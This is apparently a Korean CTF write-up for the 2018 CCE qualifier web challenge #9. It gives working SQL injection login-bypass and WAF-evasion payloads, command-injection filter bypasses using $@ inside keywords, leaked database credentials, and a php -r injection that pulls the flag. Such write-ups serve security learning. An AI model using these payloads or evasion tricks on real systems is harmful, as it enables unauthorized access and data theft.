2018 CCE Qual – #9 Write-up (Web)

Team 야몽클리닉
Cyber Conflict Exercise#9 Write up

Step1. SQL Injection

문제 사이트 http://52.79.117.74/admin/로 접속하면 로그인 폼이 하나 나온다.
그냥 이것 저것 입력하다보면 SQL Injection 문제인걸 알 수 있다.

1. id=\&pw=1
2. id=\&pw=||1#

1번 페이로드를 보내면 에러가 뜨고, 2번 페이로드를 보내면 avery라는 계정으로 로그인할 수 있다.
||#이 먹히는걸로 보아 MySQL이라고 생각했으며 avery로 로그인하면
Your level must me higher than 1” 라고 알려준다.

따라서 나는 레벨이 1보다 높은 유저를 찾으려고 했으나 해당 테이블에는 레벨 2이상의 유저가 없는거 같았다.

SQL Injection Bypassing WAF

레벨 2이상의 유저가 없다면 union select하여 임의로 만들어주면 되지만 WAF가 있어서
.*union select.* 패턴의 인젝션은 거의 다 막히는 상황이었고 WAF를 우회하기 위해 오랜 시간 삽질이 필요했다.

id=\&pw=||0 union/*union/**/select 0x61646d696e,3,3#

결국 위 페이로드로 우회에 성공했다. (주석 파싱 처리를 제대로 못한 것 같다.)


Step2. Command Injection

레벨이 2이상인 유저로 로그인하면 다음 스테이지인 Command Injection 문제가 나온다.

Filter bypass via Bash trick

다양한 키워드 (cat, ls, cd, ../)를 필터링하고 있었지만 간단하게 Bash trick을 사용하여 우회가 가능했다. 트릭은 간단하다, 필터링하고 있는 키워드 중간에 $@를 넣어주면 bash에서는 $@를 비어있는 변수로 인식하여 해당 변수는 씹히고 내가 입력한 키워드가 정상적으로 실행되는 원리다.

c=pwd
c=l$@s .
c=l$@s .$@./
c=c$@at dbconn_readme.php

이런 식으로 dbconn_readme.php라는 소스를 읽을 수 있었다.

<?php
  function connectDB($id){
    $host = "localhost";
    $user = $id;
    if($id == "topsecret") $pass = "supersecretpw123789"; // this database is supersuper secret!
    if($id == "member") $pass = "memberpw00102";
    $db = mysqli_connect($host, $user, $pass) 
      or die ('MySQL connect failed. ' . mysqli_error($db));
    mysqli_query($db,"set names utf8");
    mysqli_select_db($db,$id);
    return $db;
  }
?>

여기서 슈퍼 시크릿 유저의 아이디와 패스워드를 얻을 수 있는데
여기안에 FLAG가 있을 거 같아서 아래와 같이 php -r로 PHP을 직접 실행해 DB에서 플래그를 가져왔다.

Step3. Get the flag

c=%0aph$@p -r 
"v$@ar_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','topsecret','supersecretpw123789','topsecret'),'sel'.'ect * from 5ecret')));"
array(1) {
  ["fl4gkkk"]=>
  string(26) "CCE{world_best_webh@cker!}"
}

 
Flag is CCE{world_best_webh@cker!}